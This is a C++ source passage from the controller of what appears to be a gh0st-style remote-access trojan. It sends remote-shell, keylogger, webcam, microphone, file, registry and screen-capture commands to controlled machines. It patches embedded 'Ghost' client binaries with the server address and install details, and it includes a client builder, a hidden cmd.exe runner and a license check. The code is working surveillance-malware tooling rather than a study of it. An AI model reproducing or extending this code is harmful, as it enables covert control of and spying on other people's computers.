    Menu.SetMenuItemBitmaps(ID_ONLINE_INJ_NOTEPAD, MF_BYCOMMAND, &m_bmOnline[18], &m_bmOnline[18]);
    Menu.SetMenuItemBitmaps(ID_PROXY_PORT, MF_BYCOMMAND, &m_bmOnline[19], &m_bmOnline[19]);
    // Session management icons (shutdown/reboot/logout)
    Menu.SetMenuItemBitmaps(ID_MACHINE_SHUTDOWN, MF_BYCOMMAND, &m_bmOnline[21], &m_bmOnline[21]);
    Menu.SetMenuItemBitmaps(ID_MACHINE_REBOOT, MF_BYCOMMAND, &m_bmOnline[22], &m_bmOnline[22]);
    Menu.SetMenuItemBitmaps(ID_MACHINE_LOGOUT, MF_BYCOMMAND, &m_bmOnline[23], &m_bmOnline[23]);
    Menu.SetMenuItemBitmaps(ID_PROXY_PORT_STD, MF_BYCOMMAND, &m_bmOnline[24], &m_bmOnline[24]);
    Menu.SetMenuItemBitmaps(ID_CANCEL_SHARE, MF_BYCOMMAND, &m_bmOnline[50], &m_bmOnline[50]);

    Menu.ModifyMenuL(ID_ONLINE_AUTHORIZE, MF_BYCOMMAND | MF_STRING, ID_ONLINE_AUTHORIZE, _T("发送授权"));

    // ============================================================
    //  UIBranding: 根据编译时配置或运行时功能标志隐藏右键菜单项
    // ============================================================
    if (SHOULD_HIDE_CTX(HIDE_CTX_MESSAGE, CF_MESSAGE))
        SubMenu->DeleteMenu(ID_ONLINE_MESSAGE, MF_BYCOMMAND);
    if (SHOULD_HIDE_CTX(HIDE_CTX_UPDATE, CF_UPDATE))
        SubMenu->DeleteMenu(ID_ONLINE_UPDATE, MF_BYCOMMAND);
    if (SHOULD_HIDE_CTX(HIDE_CTX_DELETE, CF_DELETE))
        SubMenu->DeleteMenu(ID_ONLINE_DELETE, MF_BYCOMMAND);
    if (SHOULD_HIDE_CTX(HIDE_CTX_SHARE, CF_SHARE))
        SubMenu->DeleteMenu(ID_ONLINE_SHARE, MF_BYCOMMAND);
    if (SHOULD_HIDE_CTX(HIDE_CTX_PROXY, CF_PROXY))
        SubMenu->DeleteMenu(ID_MAIN_PROXY, MF_BYCOMMAND);
    if (SHOULD_HIDE_CTX(HIDE_CTX_HOSTNOTE, CF_HOSTNOTE))
        SubMenu->DeleteMenu(ID_ONLINE_HOSTNOTE, MF_BYCOMMAND);
    if (SHOULD_HIDE_CTX(HIDE_CTX_VIRTUAL_DESKTOP, CF_VIRTUAL_DESKTOP))
        SubMenu->DeleteMenu(ID_ONLINE_VIRTUAL_DESKTOP, MF_BYCOMMAND);
    if (SHOULD_HIDE_CTX(HIDE_CTX_GRAY_DESKTOP, CF_GRAY_DESKTOP))
        SubMenu->DeleteMenu(ID_ONLINE_GRAY_DESKTOP, MF_BYCOMMAND);
    if (SHOULD_HIDE_CTX(HIDE_CTX_REMOTE_DESKTOP, CF_REMOTE_DESKTOP))
        SubMenu->DeleteMenu(ID_ONLINE_REMOTE_DESKTOP, MF_BYCOMMAND);
    if (SHOULD_HIDE_CTX(HIDE_CTX_H264_DESKTOP, CF_H264_DESKTOP))
        SubMenu->DeleteMenu(ID_ONLINE_H264_DESKTOP, MF_BYCOMMAND);
    if (SHOULD_HIDE_CTX(HIDE_CTX_AUTHORIZE, CF_AUTHORIZE))
        SubMenu->DeleteMenu(ID_ONLINE_AUTHORIZE, MF_BYCOMMAND);
    if (SHOULD_HIDE_CTX(HIDE_CTX_UNAUTHORIZE, CF_UNAUTHORIZE))
        SubMenu->DeleteMenu(ID_ONLINE_UNAUTHORIZE, MF_BYCOMMAND);
    if (SHOULD_HIDE_CTX(HIDE_CTX_ASSIGN_TO, CF_ASSIGN_TO))
        SubMenu->DeleteMenu(ID_ONLINE_ASSIGN_TO, MF_BYCOMMAND);
    if (SHOULD_HIDE_CTX(HIDE_CTX_ADD_WATCH, CF_ADD_WATCH))
        SubMenu->DeleteMenu(ID_ONLINE_ADD_WATCH, MF_BYCOMMAND);
    if (SHOULD_HIDE_CTX(HIDE_CTX_LOGIN_NOTIFY, CF_LOGIN_NOTIFY))
        SubMenu->DeleteMenu(ID_ONLINE_LOGIN_NOTIFY, MF_BYCOMMAND);
    if (SHOULD_HIDE_CTX(HIDE_CTX_RUN_AS_ADMIN, CF_RUN_AS_ADMIN))
        SubMenu->DeleteMenu(ID_ONLINE_RUN_AS_ADMIN, MF_BYCOMMAND);
    if (SHOULD_HIDE_CTX(HIDE_CTX_UNINSTALL, CF_UNINSTALL))
        SubMenu->DeleteMenu(ID_ONLINE_UNINSTALL, MF_BYCOMMAND);
    if (SHOULD_HIDE_CTX(HIDE_CTX_PRIVATE_SCREEN, CF_PRIVATE_SCREEN))
        SubMenu->DeleteMenu(ID_ONLINE_PRIVATE_SCREEN, MF_BYCOMMAND);
    if (SHOULD_HIDE_CTX(HIDE_CTX_REGROUP, CF_REGROUP))
        SubMenu->DeleteMenu(ID_ONLINE_REGROUP, MF_BYCOMMAND);
    if (SHOULD_HIDE_CTX(HIDE_CTX_INJ_NOTEPAD, CF_INJ_NOTEPAD))
        SubMenu->DeleteMenu(ID_ONLINE_INJ_NOTEPAD, MF_BYCOMMAND);
    if (SHOULD_HIDE_CTX(HIDE_CTX_PROXY_PORT, CF_PROXY_PORT))
        SubMenu->DeleteMenu(ID_PROXY_PORT, MF_BYCOMMAND);
    if (SHOULD_HIDE_CTX(HIDE_CTX_PROXY_PORT_STD, CF_PROXY_PORT_STD))
        SubMenu->DeleteMenu(ID_PROXY_PORT_STD, MF_BYCOMMAND);

    // --- 机器管理子菜单 ---
    CMenu* pMachineMenu = FindSubMenuByCommand(SubMenu, ID_MACHINE_SHUTDOWN);
    if (pMachineMenu) {
        if (SHOULD_HIDE_CTX(HIDE_CTX_MACHINE_SHUTDOWN, CF_MACHINE_SHUTDOWN))
            pMachineMenu->DeleteMenu(ID_MACHINE_SHUTDOWN, MF_BYCOMMAND);
        if (SHOULD_HIDE_CTX(HIDE_CTX_MACHINE_REBOOT, CF_MACHINE_REBOOT))
            pMachineMenu->DeleteMenu(ID_MACHINE_REBOOT, MF_BYCOMMAND);
        if (SHOULD_HIDE_CTX(HIDE_CTX_MACHINE_LOGOUT, CF_MACHINE_LOGOUT))
            pMachineMenu->DeleteMenu(ID_MACHINE_LOGOUT, MF_BYCOMMAND);
        if (pMachineMenu->GetMenuItemCount() == 0) {
            for (UINT i = 0; i < SubMenu->GetMenuItemCount(); i++) {
                if (SubMenu->GetSubMenu(i) == pMachineMenu) {
                    SubMenu->DeleteMenu(i, MF_BYPOSITION);
                    break;
                }
            }
        }
    }

    // --- 执行命令子菜单 ---
    CMenu* pExecMenu = FindSubMenuByCommand(SubMenu, ID_EXECUTE_DOWNLOAD);
    if (pExecMenu) {
        if (SHOULD_HIDE_CTX(HIDE_CTX_EXECUTE_DOWNLOAD, CF_EXECUTE_DOWNLOAD))
            pExecMenu->DeleteMenu(ID_EXECUTE_DOWNLOAD, MF_BYCOMMAND);
        if (SHOULD_HIDE_CTX(HIDE_CTX_EXECUTE_UPLOAD, CF_EXECUTE_UPLOAD))
            pExecMenu->DeleteMenu(ID_EXECUTE_UPLOAD, MF_BYCOMMAND);
        if (SHOULD_HIDE_CTX(HIDE_CTX_EXECUTE_TESTRUN, CF_EXECUTE_TESTRUN))
            pExecMenu->DeleteMenu(ID_EXECUTE_TESTRUN, MF_BYCOMMAND);
        if (SHOULD_HIDE_CTX(HIDE_CTX_EXECUTE_GHOST, CF_EXECUTE_GHOST))
            pExecMenu->DeleteMenu(ID_EXECUTE_GHOST, MF_BYCOMMAND);
        if (pExecMenu->GetMenuItemCount() == 0) {
            for (UINT i = 0; i < SubMenu->GetMenuItemCount(); i++) {
                if (SubMenu->GetSubMenu(i) == pExecMenu) {
                    SubMenu->DeleteMenu(i, MF_BYPOSITION);
                    break;
                }
            }
        }
    }

    // 创建一个新的子菜单
    CMenu newMenu;
    if (!newMenu.CreatePopupMenu()) {
        MessageBoxL(_T("创建执行代码的子菜单失败!"), "提示", MB_ICONINFORMATION);
        return;
    }

    int i = 0;
    for (const auto& s : m_DllList) {
        // 向子菜单中添加菜单项
        newMenu.AppendMenuL(MF_STRING, ID_DYNAMIC_MENU_BASE + i++, s->Name.c_str());
    }
    if (i == 0) {
        newMenu.AppendMenuL(MF_STRING, ID_DYNAMIC_MENU_BASE, "操作指导");
    }
    // 将子菜单添加到主菜单中
    SubMenu->AppendMenuL(MF_STRING | MF_POPUP, (UINT_PTR)newMenu.Detach(), _T("执行代码"));

    int	iCount = SubMenu->GetMenuItemCount();
    EnterCriticalSection(&m_cs);
    int n = m_CList_Online.GetSelectedCount();
    LeaveCriticalSection(&m_cs);
    if (n == 0) {       //如果没有选中
        for (int i = 0; i < iCount; ++i) {
            SubMenu->EnableMenuItem(i, MF_BYPOSITION | MF_DISABLED | MF_GRAYED);          //菜单全部变灰
        }
    }

    // 刷新菜单显示
    DrawMenuBar();
    SubMenu->TrackPopupMenu(TPM_LEFTALIGN, Point.x, Point.y, this);

    *pResult = 0;
}


void CMy2015RemoteDlg::OnOnlineMessage()
{
    BYTE bToken = COMMAND_TALK;   //向被控端发送一个COMMAND_SYSTEM
    SendSelectedCommand(&bToken, sizeof(BYTE));
}

// 从资源中读取被控端文件，并根据用户选择修改连接信息后返回给发送线程
BYTE* ReadExeFromResource(DWORD& outSize, int resourceId, int iType, int iStartup, 
    const std::string& dir, const std::string& name, int cmd, int sizeofSize)
{
    DWORD dwFileSize = 0;
    BYTE* szBuffer = ReadResource(resourceId, dwFileSize);
    outSize = dwFileSize;
    CONNECT_ADDRESS g_ConnectAddress = { FLAG_FINDEN };
	char* pSearchStart = (char*)szBuffer;
    int iOffset = MemoryFind(pSearchStart, (char*)g_ConnectAddress.Flag(), dwFileSize, g_ConnectAddress.FlagLen());
    if (iOffset == -1) {
        SAFE_DELETE(szBuffer);
        return NULL;
    }
    // 获取有效地址（优先使用上级FRP配置）
    std::string effectiveIP;
    int effectivePort;
    CMy2015RemoteDlg::GetEffectiveMasterAddress(effectiveIP, effectivePort);
    if (effectiveIP.empty()) effectiveIP = "127.0.0.1";
    std::string effectivePortStr = std::to_string(effectivePort);

    while (iOffset != -1 && dwFileSize >= sizeof(CONNECT_ADDRESS)) {
        CONNECT_ADDRESS* dst = (CONNECT_ADDRESS*)(pSearchStart + iOffset);
        dst->SetAdminId(GetMasterHash().c_str());
        memcpy(dst->szFlag, GetMasterId().c_str(), 16);
        strcpy_s(dst->szServerIP, effectiveIP.c_str());
        strcpy_s(dst->szPort, effectivePortStr.c_str());
        dst->Encrypt();
        dst->iType = iType;
        dst->iStartup = iStartup;
        strcpy_s(dst->szBuildDate, DLL_VERSION);
        memcpy(dst->pwdHash, GetPwdHash().c_str(), 64);
        strcpy_s(dst->installDir, dir.c_str());
        strcpy_s(dst->installName, name.c_str());
        pSearchStart += iOffset + sizeof(CONNECT_ADDRESS);
		dwFileSize -= iOffset + sizeof(CONNECT_ADDRESS);
        iOffset = MemoryFind(pSearchStart, (char*)g_ConnectAddress.Flag(), dwFileSize, g_ConnectAddress.FlagLen());
    }
    BYTE *buffer = new BYTE[outSize + 1 + sizeofSize];
    buffer[0] = cmd;
    memcpy(buffer + 1, &outSize, sizeofSize);
    memcpy(buffer + 1 + sizeofSize, szBuffer, outSize);
    SAFE_DELETE_ARRAY(szBuffer);
	return buffer;
}

void CMy2015RemoteDlg::OnOnlineUpdate()
{
    context* ContextObject = nullptr;
    EnterCriticalSection(&m_cs);
    int n = m_CList_Online.GetSelectedCount();
    POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition();
    if (Pos) {
        int	iItem = m_CList_Online.GetNextSelectedItem(Pos);
        ContextObject = GetContextByListIndex(iItem);
    }
    LeaveCriticalSection(&m_cs);
    if (n != 1 || !ContextObject) {
        MessageBoxL(_T("请选择一个被控程序进行升级!"), _T("提示"), MB_ICONWARNING);
        return;
    }
    if (IDYES != MessageBoxL(_T("确定升级选定的被控程序吗?\n需受控程序支持方可生效!"),
                             _T("提示"), MB_ICONQUESTION | MB_YESNO))
        return;
    PBYTE buffer = nullptr;
    ULONGLONG fileSize = 0;
    CString clientType = ContextObject->GetAdditionalData(RES_CLIENT_TYPE).GetString();
    if (clientType == "EXE") {
        CUpdateDlg dlg(this);
        if (dlg.DoModal() != IDOK)
            return;
        DWORD dwFileSize = 0;
        BOOL is64bit = "64" == ContextObject->GetAdditionalData(RES_PROGRAM_BITS);
        std::filesystem::path path = ContextObject->GetAdditionalData(RES_FILE_PATH).GetString();
        std::string stem = path.stem().string();
        std::string dirName = path.parent_path().filename().string();
        buffer = ReadExeFromResource(dwFileSize, dlg.m_nSelected ? (is64bit ? IDR_GHOST_X64 : IDR_GHOST_X86) :
            (is64bit ? IDR_TESTRUN_X64 : IDR_TESTRUN_X86), dlg.m_nSelected ? CLIENT_TYPE_ONE : CLIENT_TYPE_MEMDLL,
            dlg.m_nSelected ? Startup_GhostMsc : Startup_TestRunMsc, dirName, stem, COMMAND_UPDATE, 8);
		fileSize = dwFileSize;
    } else if (clientType == "DLL") {
        Buffer* buf = m_ServerDLL[PAYLOAD_DLL_X64];
        fileSize = buf->length(true) - 6;
        buffer = new BYTE[fileSize + 9];
        buffer[0] = COMMAND_UPDATE;
        memcpy(buffer + 1, &fileSize, 8);
        memcpy(buffer + 9, buf->c_str() + 6, fileSize);
    } else if (clientType == "SC" || clientType == "MDLL") {
        fileSize = 0;
        buffer = new BYTE[fileSize + 9]();
        buffer[0] = COMMAND_UPDATE;
    }

    if (buffer) {
        SendSelectedCommand((PBYTE)buffer, 9 + fileSize);
        delete[] buffer;
    }
}

std::string floatToString(float f)
{
    char buf[32];
    snprintf(buf, sizeof(buf), "%.2f", f);
    return std::string(buf);
}

void CMy2015RemoteDlg::OnOnlineDelete()
{
    // TODO: 在此添加命令处理程序代码
    if (IDYES != MessageBoxL(_T("确定删除选定的被控计算机吗?"), _T("提示"), MB_ICONQUESTION | MB_YESNO))
        return;

    BYTE bToken = COMMAND_BYE;   //向被控端发送一个COMMAND_SYSTEM
    SendSelectedCommand(&bToken, sizeof(BYTE));   //Context     PreSending   PostSending

    EnterCriticalSection(&m_cs);
    // 收集选中的索引（从大到小排序，避免删除时索引变化问题）
    std::vector<int> selectedItems;
    POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition();
    while (Pos) {
        selectedItems.push_back(m_CList_Online.GetNextSelectedItem(Pos));
    }
    std::sort(selectedItems.rbegin(), selectedItems.rend());

    for (int iItem : selectedItems) {
        context* ctx = GetContextByListIndex(iItem);
        if (!ctx) continue;

        CString strIP = ctx->GetClientData(ONLINELIST_IP);
        auto tm = ctx->GetAliveTime();
        std::string aliveInfo = tm >= 86400 ? floatToString(tm / 86400.f) + " d" :
                                tm >= 3600 ? floatToString(tm / 3600.f) + " h" :
                                tm >= 60 ? floatToString(tm / 60.f) + " m" : floatToString(tm) + " s";
        RemoveFromHostList(ctx);
        ctx->Destroy();
        strIP += _L(_T("断开连接"));
        ShowMessage(_TR("操作成功"), strIP + "[" + aliveInfo.c_str() + "]");
        Mprintf("%s 断开链接 [%s]\n", strIP, aliveInfo.c_str());
    }

    // 虚拟列表：重建过滤索引并更新项目计数
    RebuildFilteredIndices();
    m_CList_Online.SetItemCountExV((int)m_FilteredIndices.size(), LVSICF_NOINVALIDATEALL | LVSICF_NOSCROLL);
    {
        CListCtrlEx::ScopedEraseBkgnd scope(m_CList_Online);
        m_CList_Online.RedrawWindow(NULL, NULL, RDW_ERASE | RDW_INVALIDATE | RDW_UPDATENOW);
    }
    LeaveCriticalSection(&m_cs);
}

VOID CMy2015RemoteDlg::OnOnlineCmdManager()
{
    BYTE	bToken = COMMAND_SHELL;
    SendSelectedCommand(&bToken, sizeof(BYTE));
}


VOID CMy2015RemoteDlg::OnOnlineProcessManager()
{
    BYTE	bToken = COMMAND_SYSTEM;
    SendSelectedCommand(&bToken, sizeof(BYTE));
}

VOID CMy2015RemoteDlg::OnOnlineWindowManager()
{
    BYTE	bToken = COMMAND_WSLIST;
    SendSelectedCommand(&bToken, sizeof(BYTE));
}

// 是否继续远程控制：如果选择多个，则继续；如果选择单个且用户锁屏无SYSTEM权限，则提示
BOOL CMy2015RemoteDlg::ShouldRemoteControl()
{
    context* ContextObject = nullptr;
    EnterCriticalSection(&m_cs);
    int count = m_CList_Online.GetSelectedCount();
    POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition();
    CString activeWnd, userName;
    if (Pos) {
        int	iItem = m_CList_Online.GetNextSelectedItem(Pos);
        ContextObject = GetContextByListIndex(iItem);
        if (ContextObject) {
            activeWnd = ContextObject->GetClientData(ONLINELIST_LOGINTIME);
            userName = ContextObject->GetAdditionalData(RES_USERNAME);
        }
    }
    LeaveCriticalSection(&m_cs);
    if (count == 1 && userName != "SYSTEM" && activeWnd.Find("Locked") == 0) {
        if (IDYES != MessageBoxL("计算机已经被用户锁屏，程序无 SYSTEM 权限。\r\n可能无法进行远程桌面控制，是否继续?", "提示", MB_YESNO))
            return FALSE;
    }
    return TRUE;
}

void screenParamModifier(context* ctx, void* user)
{
    auto version = ctx->GetClientData(ONLINELIST_VERSION);
    if (!IsDateGreaterOrEqual(version, "Feb 8 2026")) {
        char* param = (char*)user;
        int algo = param[2];
        if (algo == ALGORITHM_RGB565) {
            param[2] = ALGORITHM_DIFF;
        }
    }
}

VOID CMy2015RemoteDlg::OnOnlineDesktopManager()
{
    if (!ShouldRemoteControl())
        return;
    int n = THIS_CFG.GetInt("settings", "DXGI");
    BOOL all = THIS_CFG.GetInt("settings", "MultiScreen", TRUE);
    CString algo = THIS_CFG.GetStr("settings", "ScreenCompress", "").c_str();
    BYTE	bToken[32] = { COMMAND_SCREEN_SPY, n, algo.IsEmpty() ? ALGORITHM_RGB565 : atoi(algo.GetString()), all};
    SendSelectedCommand(bToken, sizeof(bToken), screenParamModifier, bToken);
}

VOID CMy2015RemoteDlg::OnOnlineFileManager()
{
    BYTE	bToken = COMMAND_LIST_DRIVE;
    SendSelectedCommand(&bToken, sizeof(BYTE));
}

VOID CMy2015RemoteDlg::OnOnlineAudioManager()
{
    BYTE	bToken = COMMAND_AUDIO;
    SendSelectedCommand(&bToken, sizeof(BYTE));
}

VOID CMy2015RemoteDlg::OnOnlineVideoManager()
{
    BYTE	bToken = COMMAND_WEBCAM;
    SendSelectedCommand(&bToken, sizeof(BYTE));
}

VOID CMy2015RemoteDlg::OnOnlineServerManager()
{
    BYTE	bToken = COMMAND_SERVICES;
    SendSelectedCommand(&bToken, sizeof(BYTE));
}

VOID CMy2015RemoteDlg::OnOnlineRegisterManager()
{
    BYTE	bToken = COMMAND_REGEDIT;
    SendSelectedCommand(&bToken, sizeof(BYTE));
}

VOID CMy2015RemoteDlg::OnOnlineKeyboardManager()
{
    BYTE	bToken = COMMAND_KEYBOARD;
    SendSelectedCommand(&bToken, sizeof(BYTE));
}

std::vector<std::string> splitString(const std::string& str, char delimiter)
{
    std::vector<std::string> result;
    std::stringstream ss(str);
    std::string item;

    while (std::getline(ss, item, delimiter)) {
        result.push_back(item);
    }
    return result;
}

std::string joinString(const std::vector<std::string>& tokens, char delimiter)
{
    std::ostringstream oss;

    for (size_t i = 0; i < tokens.size(); ++i) {
        oss << tokens[i];
        if (i != tokens.size() - 1) {  // 在最后一个元素后不添加分隔符
            oss << delimiter;
        }
    }

    return oss.str();
}


bool CMy2015RemoteDlg::CheckValid(int trail)
{
    static DateVerify verify;
    BOOL isTrail = trail < 0 ? FALSE : verify.isTrail(trail);

    if (!isTrail) {
        const Validation *verify = GetValidation();
        std::string masterHash = GetMasterHash();
        if (masterHash != GetPwdHash() && !verify->IsValid()) {
            return false;
        }

        auto settings = "settings", pwdKey = "Password";
        // 验证口令
        CPasswordDlg dlg(this);
        std::string hardwareID = GetHardwareID();
        std::string hashedID = hashSHA256(hardwareID);
        std::string deviceID = getFixedLengthID(hashedID);
        CString pwd = THIS_CFG.GetStr(settings, pwdKey, "").c_str();

        dlg.m_sDeviceID = deviceID.c_str();
        dlg.m_sPassword = pwd;
        if (pwd.IsEmpty() && IDOK != dlg.DoModal() || dlg.m_sPassword.IsEmpty()) {
            return false;
        }
        deviceID = dlg.m_sDeviceID.GetBuffer();

        // 密码形式：20250209 - 20350209: SHA256: HostNum
        auto v = splitString(dlg.m_sPassword.GetBuffer(), '-');
        if (v.size() != 6 && v.size() != 7) {
            THIS_CFG.SetStr(settings, pwdKey, "");
            THIS_APP->MessageBox(_TR("格式错误，请重新申请口令!"), _TR("提示"), MB_ICONINFORMATION);
            return false;
        }

        // 检查是否为 V2 授权
        std::string pwdHmac = THIS_CFG.GetStr(settings, "PwdHmac", "");
        bool isV2 = pwdHmac.length() > 3 && pwdHmac.substr(0, 3) == "v2:";

        if (isV2) {
            // V2 授权验证：使用 ECDSA 签名
            std::string passcode = dlg.m_sPassword.GetString();
            if (!verifyPasswordV2(deviceID, passcode, pwdHmac, g_LicensePublicKey)) {
                THIS_CFG.SetStr(settings, pwdKey, "");
                THIS_CFG.SetStr(settings, "PwdHmac", "");
                if (pwd.IsEmpty() || IDOK != dlg.DoModal()) {
                    if (!dlg.m_sPassword.IsEmpty())
                        THIS_APP->MessageBox(_TR("口令错误, 无法继续操作!") + "\r\n[V2]" + _TR("请通过工具菜单重新输入口令。"), _TR("提示"), MB_ICONWARNING);
                    return false;
                }
            }
        } else {
            // V1 授权验证：使用密钥派生比对
            std::vector<std::string> subvector(v.end() - 4, v.end());
            std::string password = v[0] + " - " + v[1] + ": " + GetUpperHash() + (v.size()==6?"":": "+v[2]);
            std::string finalKey = deriveKey(password, deviceID);
            std::string hash256 = joinString(subvector, '-');
            std::string fixedKey = getFixedLengthID(finalKey);
            if (hash256 != fixedKey) {
                THIS_CFG.SetStr(settings, pwdKey, "");
                THIS_CFG.SetStr(settings, "PwdHmac", "");
                if (pwd.IsEmpty() || hash256 != fixedKey || IDOK != dlg.DoModal()) {
                    if (!dlg.m_sPassword.IsEmpty())
                        THIS_APP->MessageBox(_TR("口令错误, 无法继续操作!") + "\r\n[V1]" + _TR("请通过工具菜单重新输入口令。"), _TR("提示"), MB_ICONWARNING);
                    return false;
                }
            }
        }
        // 判断是否过期
        // 注意：过期时不清理 Password 和 PwdHmac，以便仍能发起授权请求获取延期
        auto pekingTime = ToPekingTime(nullptr);
        char curDate[9];
        std::strftime(curDate, sizeof(curDate), "%Y%m%d", &pekingTime);
        if (curDate < v[0] || curDate > v[1]) {
            THIS_APP->MessageBox(_TR("口令过期，请重新申请口令!"), _TR("提示"), MB_ICONINFORMATION);
            return false;
        }
        if (dlg.m_sPassword != pwd)
            THIS_CFG.SetStr(settings, pwdKey, dlg.m_sPassword.GetString());
        if (GetPwdHash() == masterHash && GetHMAC().length() != 16) {
            SetHMAC("1fafa2a373ae5bb0");
        }
        int maxConn = v.size() == 7 ? atoi(v[2].c_str()) : 2;
        if (maxConn != m_nMaxConnection) {
            m_nMaxConnection = maxConn;
            THIS_APP->UpdateMaxConnection(m_nMaxConnection);
        }
    }
#ifdef _DEBUG
    SetTimer(TIMER_CHECK, 10 * 1000, NULL);
#else
    SetTimer(TIMER_CHECK, 600 * 1000, NULL);
#endif
    return true;
}

void CMy2015RemoteDlg::OnOnlineBuildClient()
{
    // TODO: 在此添加命令处理程序代码
    CBuildDlg Dlg;
    Dlg.m_strIP = THIS_CFG.GetStr("settings", "master", "").c_str();
    int Port = THIS_CFG.Get1Int("settings", "ghost", ';', 6543);
    Dlg.m_strIP = Dlg.m_strIP.IsEmpty() ? "127.0.0.1" : Dlg.m_strIP;
    Dlg.m_strPort = Port <= 0 ? "6543" : std::to_string(Port).c_str();
    Dlg.DoModal();
}

VOID CMy2015RemoteDlg::SendSelectedCommand(PBYTE  szBuffer, ULONG ulLength, contextModifier cb, void* user)
{
    EnterCriticalSection(&m_cs);
    POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition();
    while(Pos) {
        int	iItem = m_CList_Online.GetNextSelectedItem(Pos);
        context* ContextObject = GetContextByListIndex(iItem);
        if (!ContextObject) continue;
        if (!ContextObject->IsLogin() && szBuffer[0] != COMMAND_BYE)
            continue;
        if (szBuffer[0] == COMMAND_UPDATE) {
            CString data = ContextObject->GetClientData(ONLINELIST_CLIENTTYPE);
            if (data == "SC" || data == "MDLL") {
                ContextObject->Send2Client(szBuffer, 1);
                continue;
            }
        }
        if (cb) cb(ContextObject, user);
        ContextObject->Send2Client(szBuffer, ulLength);
    }
    LeaveCriticalSection(&m_cs);
}

VOID CMy2015RemoteDlg::SendAllCommand(PBYTE  szBuffer, ULONG ulLength)
{
    EnterCriticalSection(&m_cs);
    for (context* ContextObject : m_HostList) {
        if (!ContextObject) continue;
        if (!ContextObject->IsLogin() && szBuffer[0] != COMMAND_BYE)
            continue;
        if (szBuffer[0] == COMMAND_UPDATE) {
            CString data = ContextObject->GetClientData(ONLINELIST_CLIENTTYPE);
            if (data == "SC" || data == "MDLL") {
                ContextObject->Send2Client(szBuffer, 1);
                continue;
            }
        }
        ContextObject->Send2Client(szBuffer, ulLength);
    }
    LeaveCriticalSection(&m_cs);
}

//真彩Bar
VOID CMy2015RemoteDlg::OnAbout()
{
    MessageBoxL("Copyleft (c) FTU 2019-2026" + CString(" v") + VERSION_STR + _L("\n编译日期: ") + __DATE__ +
                CString(sizeof(void*)==8 ? " (x64)" : " (x86)"), "关于", MB_ICONINFORMATION);
}

// 工具栏搜索按钮
void CMy2015RemoteDlg::OnToolbarSearch()
{
    if (!m_pSearchBar) {
        m_pSearchBar = new CSearchBarDlg(this);
    }
    if (m_pSearchBar->GetSafeHwnd() && m_pSearchBar->IsWindowVisible()) {
        m_pSearchBar->Hide();
    } else {
        m_pSearchBar->Show();
    }
}

//托盘Menu
void CMy2015RemoteDlg::OnNotifyShow()
{
    BOOL v=	IsWindowVisible();
    ShowWindow(v? SW_HIDE : SW_SHOW);
}


void CMy2015RemoteDlg::OnNotifyExit()
{
    Release();
    __super::OnOK(); // 关闭对话框
}


//固态菜单
void CMy2015RemoteDlg::OnMainSet()
{
    CSettingDlg  Dlg(this);
    Dlg.m_nMax_Connect = m_nMaxConnection;
    BOOL use = THIS_CFG.GetInt("frp", "UseFrp");
    int port = THIS_CFG.GetInt("frp", "server_port", 7000);
    auto token = THIS_CFG.GetStr("frp", "token");
	auto master = THIS_CFG.GetStr("settings", "master");
    auto ret = Dlg.DoModal();   //模态 阻塞
    if (ret != IDOK) return;

    BOOL use_new = THIS_CFG.GetInt("frp", "UseFrp");
    int port_new = THIS_CFG.GetInt("frp", "server_port", 7000);
    auto token_new = THIS_CFG.GetStr("frp", "token");
    auto master_new = THIS_CFG.GetStr("settings", "master");
    ApplyFrpSettings();
    if (use_new != use) {
        MessageBoxL("修改FRP代理开关，需要重启当前应用程序方可生效。", "提示", MB_ICONINFORMATION);
    } else if (port != port_new || token != token_new || master_new != master) {
        // 重启所有 FRP 连接
        for (size_t i = 0; i < m_frpInstances.size(); ++i) {
            m_frpInstances[i].status = STATUS_STOP;
        }
        Sleep(200);
        for (size_t i = 0; i < m_frpInstances.size(); ++i) {
            m_frpInstances[i].status = STATUS_RUN;
        }
    }
    if (use && use_new && m_frpInstances.empty()) {
#ifdef _WIN64
        MessageBoxL("FRP代理服务异常，需要重启当前应用程序进行重试。", "提示", MB_ICONINFORMATION);
#endif
    }
    int m = atoi(THIS_CFG.GetStr("settings", "ReportInterval", "5").c_str());
    int n = THIS_CFG.GetInt("settings", "SoftwareDetect");
    if (m== m_settings.ReportInterval && n == m_settings.DetectSoftware) {
        return;
    }

    LVCOLUMN lvColumn;
    memset(&lvColumn, 0, sizeof(LVCOLUMN));
    lvColumn.mask = LVCF_TEXT;
    lvColumn.pszText = Dlg.m_sSoftwareDetect.GetBuffer();
    CLock L(m_cs);
    m_settings.ReportInterval = m;
    m_settings.DetectSoftware = n;
    m_CList_Online.SetColumn(ONLINELIST_VIDEO, &lvColumn);
    SendMasterSettings(nullptr, m_settings);
}


void CMy2015RemoteDlg::OnMainExit()
{
    Release();
    __super::OnOK(); // 关闭对话框
}

std::string exec(const std::string& cmd)
{
    HANDLE hReadPipe, hWritePipe;
    SECURITY_ATTRIBUTES sa = { sizeof(SECURITY_ATTRIBUTES), NULL, TRUE };

    if (!CreatePipe(&hReadPipe, &hWritePipe, &sa, 0)) {
        return "";
    }

    STARTUPINFOA si = {};
    PROCESS_INFORMATION pi = {};
    si.cb = sizeof(si);
    si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
    si.hStdOutput = hWritePipe;
    si.hStdError = hWritePipe;
    si.wShowWindow = SW_HIDE;

    std::string command = "cmd.exe /C " + cmd;

    if (!CreateProcessA(
            NULL,
            (char*)command.data(),
            NULL,
            NULL,
            TRUE,
            CREATE_NO_WINDOW,
            NULL,
            NULL,
            &si,
            &pi
        )) {
        SAFE_CLOSE_HANDLE(hReadPipe);
        SAFE_CLOSE_HANDLE(hWritePipe);
        return "";
    }

    SAFE_CLOSE_HANDLE(hWritePipe);

    char buffer[256];
    std::string result;
    DWORD bytesRead;

    while (ReadFile(hReadPipe, buffer, sizeof(buffer) - 1, &bytesRead, NULL) && bytesRead > 0) {
        buffer[bytesRead] = '\0';
        result += buffer;
    }

    SAFE_CLOSE_HANDLE(hReadPipe);
    WaitForSingleObject(pi.hProcess, INFINITE);
    SAFE_CLOSE_HANDLE(pi.hProcess);
    SAFE_CLOSE_HANDLE(pi.hThread);

    return result;
}

std::vector<std::string> splitByNewline(const std::string& input)
{
    std::vector<std::string> lines;
    std::istringstream stream(input);
    std::string line;

    while (std::getline(stream, line)) {
        lines.push_back(line);
    }

    return lines;
}

BOOL CMy2015RemoteDlg::Activate(const std::string& nPort,int nMaxConnection, const std::string& method)
{
